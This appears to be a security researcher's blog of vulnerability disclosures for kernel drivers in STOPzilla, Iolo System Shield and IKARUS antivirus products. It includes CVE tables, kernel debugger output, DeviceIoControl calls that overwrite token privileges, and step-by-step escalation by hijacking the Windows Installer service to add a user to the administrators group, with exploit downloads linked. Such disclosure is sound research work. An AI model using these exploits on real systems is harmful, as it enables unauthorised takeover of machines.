A couple of months ago I discovered 9 kernel vulnerabilities a security product called STOPzilla AntiMalware. It’s been over a month with no response from the vendor so I’m going public with this one. All of the vulnerabilities stem from output buffer address not being validated apart from ioctl 80002028 where the size of the output buffer is not validated. The table below lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x8000204B CVE-2018-15729 Denial of Service
0x80002067 CVE-2018-15730 Denial of Service
0x8000205B CVE-2018-15731 Denial of Service
0x80002063 0x8000206F CVE-2018-15732 Arbitrary Write
0x80002028 CVE-2018-15733 Null pointer dereference
0x8000206B CVE-2018-15734 Arbitrary Write
0x8000205F CVE-2018-15735 Arbitrary Write
0x8000204F CVE-2018-15736 Denial of Service
0x80002043 CVE-2018-15737 Denial of Service

Here I’m exploiting the arbitrary write vulnerability (CVE-2018-15732) by overwriting the _SEP_TOKEN_PRIVILEGES structure to obtain the SeCreateTokenPrivilege privilege. Then it’s just a matter of calling the ZwCreateToken API to create a new privileged token. The excellent paper “Abusing Token Privileges For LPE” and source code provided needed assistance in exploiting using this privilege.

The “what” dword value starts with 1 and increments each time our ioctl is called so a number of writes needed to be done in order to obtain a useful privilege. Normal privileges would look like this

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002f11060+40
+0x000 Present          : 0x6`02880000
+0x008 Enabled          : 0x800000
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002f11060
19 0x000000013 SeShutdownPrivilege              Attributes - 
23 0x000000017 SeChangeNotifyPrivilege          Attributes - Enabled Default 
25 0x000000019 SeUndockPrivilege                Attributes - 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 

After a few writes the SeCreateTokenPrivilege privilege has been obtained. This is one of the privileges received most of the time.

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002e61a90+40
+0x000 Present          : 0x6`00000015
+0x008 Enabled          : 0x16
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002e61a90
00 0x000000000 Unknown Privilege                Attributes - 
02 0x000000002 SeCreateTokenPrivilege           Attributes - Enabled 
04 0x000000004 SeLockMemoryPrivilege            Attributes - Enabled 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 

For Windows 7 I’ve spawned a shell by switching to session 0 by calling WinStationSwitchToServicesSession(). The Windows Service “Interactive Services Detection” (UI0Detect) is set to manual and not started to begin with but starts when WinStationSwitchToServicesSession() is called. The first instance a prompt will be given to switch sessions, thereafter will switch automatically as the service is already started.

In Windows 10 (1803) the “Interactive Services Detection” service has been removed and doing a quick test on 1703 I realized the service can’t be started anyway so on Windows 10 I’m just adding the current user to the local administrators group.

The CreateProcessAsUser API doesn’t always behave as expected as occasionally returns 1314 error which means “A required privilege is not held by the client”. Running the exploit a few times and it ends up working so not sure exactly what is really happening here. Trying to run the exploit in another user accounts shell i.e. not logging in with the account doesn’t seem to work at all and always returns 1314 error so bear that in mind.

UPDATE: I just figured out the reason behind the 1314 error, since the CreateProcessAsUser API is still being called by our current process token so after the arbitrary writes sometimes the “SeAssignPrimaryTokenPrivilege” privilege is also obtained along with the “SeCreateTokenPrivilege” allowing the exploit to work. So even when our elevated token is successfully created we’ll need an added privilege “SeAssignPrimaryTokenPrivilege” for the CreateProcessAsUser API to succeed.

The current vulnerable version of STOPzilla AntiMalware is of which the driver version szkg64.sys is The exploit can be downloaded from here [zip] and here is the direct link to the package on the StopZilla site if you wish to play with the exploit [msi]


A kernel vulnerability exists in an antivirus product called “System Shield AntiVirus and AntiSpyware” by Iolo Technologies. This is an arbitrary memory overwrite vulnerability due to the inputted buffer not being validated and has been assigned a CVE ID of CVE-2018-5701. The product version of “System Shield AntiVirus and AntiSpyware” tested on is and the vulnerable version of the driver “amp.sys” is

Due to no response from the vendor for the last few weeks I’m going public with this one. Another one of their products “System Mechanic Pro” on version is also affected from this vulnerability as it gets shipped with the same version of the driver as is bundled with “System Shield AntiVirus and AntiSpyware”. There is however an update downloader link on the site for “System Mechanic Pro” bringing it to version where the vulnerable driver has been removed.

To get to our arbitrary write a number of conditions had to be satisfied in a number of subroutines, the main disassembly screen shots shown below.

To exploit I’m overwriting the _SEP_TOKEN_PRIVILEGES structure with the fixed value of 0xFFFFFFFE. You can play with the offsets to get different number of privileges but with the offsets I chose I ended up looking like this below

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002cc4a30+40
   +0x000 Present          : 0xff`fffffe00
   +0x008 Enabled          : 0xff`fffffe00
   +0x010 EnabledByDefault : 0x800000

Looking at the number of privileges obtained we have a few to choose from for our exploit.

kd> !token fffff8a002cc4a30
_TOKEN fffff8a002cc4a30
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1001
 00 S-1-5-21-2231847605-3015871416-1385684711-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - DenyOnly 
 03 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 04 S-1-5-32-544
    Attributes - DenyOnly 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-1059199
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - Enabled 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - Enabled 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled 
 12 0x00000000c SeSystemtimePrivilege             Attributes - Enabled 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 17 0x000000011 SeBackupPrivilege                 Attributes - Enabled 
 18 0x000000012 SeRestorePrivilege                Attributes - Enabled 
 19 0x000000013 SeShutdownPrivilege               Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled 
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - Enabled 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - Enabled 
 26 0x00000001a SeSyncAgentPrivilege              Attributes - Enabled 
 27 0x00000001b SeEnableDelegationPrivilege       Attributes - Enabled 
 28 0x00000001c SeManageVolumePrivilege           Attributes - Enabled 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled 
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - Enabled 
 32 0x000000020 SeRelabelPrivilege                Attributes - Enabled 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled 
 36 0x000000024 Unknown Privilege                 Attributes - Enabled 
 37 0x000000025 Unknown Privilege                 Attributes - Enabled 
 38 0x000000026 Unknown Privilege                 Attributes - Enabled 
 39 0x000000027 Unknown Privilege                 Attributes - Enabled 
Authentication ID:         (0,1029c8)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: 13d229           ParentToken ID: 1029cb
Modified ID:               (0, 139e0a)
RestrictedSidCount: 0      RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7

For exploiting I decided to use the “SeTakeOwnershipPrivilege” privilege. The idea I had was to take ownership of a Windows Service key and have the ability to start it. The service I found was the “Windows Installer” service.

So the steps were to:

  1. Take ownership of the key HKLM\SYSTEM\CurrentControlSet\services\msiserver
  2. Change the “ImagePath” value to our command or executable we which want to run
  3. Start the service by running “msiexec.exe /i poc.msi /quiet”
  4. Restore all settings

Here poc.msi doesn’t really exist but by initiating an msi install will start the service and run our command. Trying to get an interactive shell is another matter as we have to deal with “Session 0 Isolation” which I haven’t really looked into so decided to use the net command to add the account to the local administrators group.

The exploit can be downloaded from here [zip]


Here is a list of the 9 kernel vulnerabilities I discovered over a month ago in an antivirus product called IKARUS anti.virus which has finally been fixed. Most of the vulnerabilities were due to the inputted output buffer address (Irp->UserBuffer) being saved on the stack which is later used without being validated when using as an argument. The table below lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x8300000c CVE-2017-14961 Arbitrary Write
0x83000058 CVE-2017-14962 Out of Bounds Write
0x83000058 CVE-2017-14963 Arbitrary Write
0x8300005c CVE-2017-14964 Arbitrary Write
0x830000cc CVE-2017-14965 Arbitrary Write
0x830000c0 CVE-2017-14966 Arbitrary Write
0x83000080 CVE-2017-14967 Arbitrary Write
0x830000c4 CVE-2017-14968 Arbitrary Write
0x83000084 CVE-2017-14969 Arbitrary Write

Fixed version numbers (vendors advisory soon to be released)

Vulnerable version Fixed version
Software 2.16.7 2.16.18
ntguard.sys 0.18780.0.0
ntguard_x64.sys 0.18780.0.0

I’m exploiting the vulnerable subroutine used by ioctl 0x8300000c by overwriting the _SEP_TOKEN_PRIVILEGES structure where arg_20 is our inputted output buffer address.

In our process _SEP_TOKEN_PRIVILEGES structure I’m overwriting a byte in the “Present” field and a byte in the “Enabled” field with the hardcoded value of 0x11 by calling the vulnerable subroutine twice.

DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.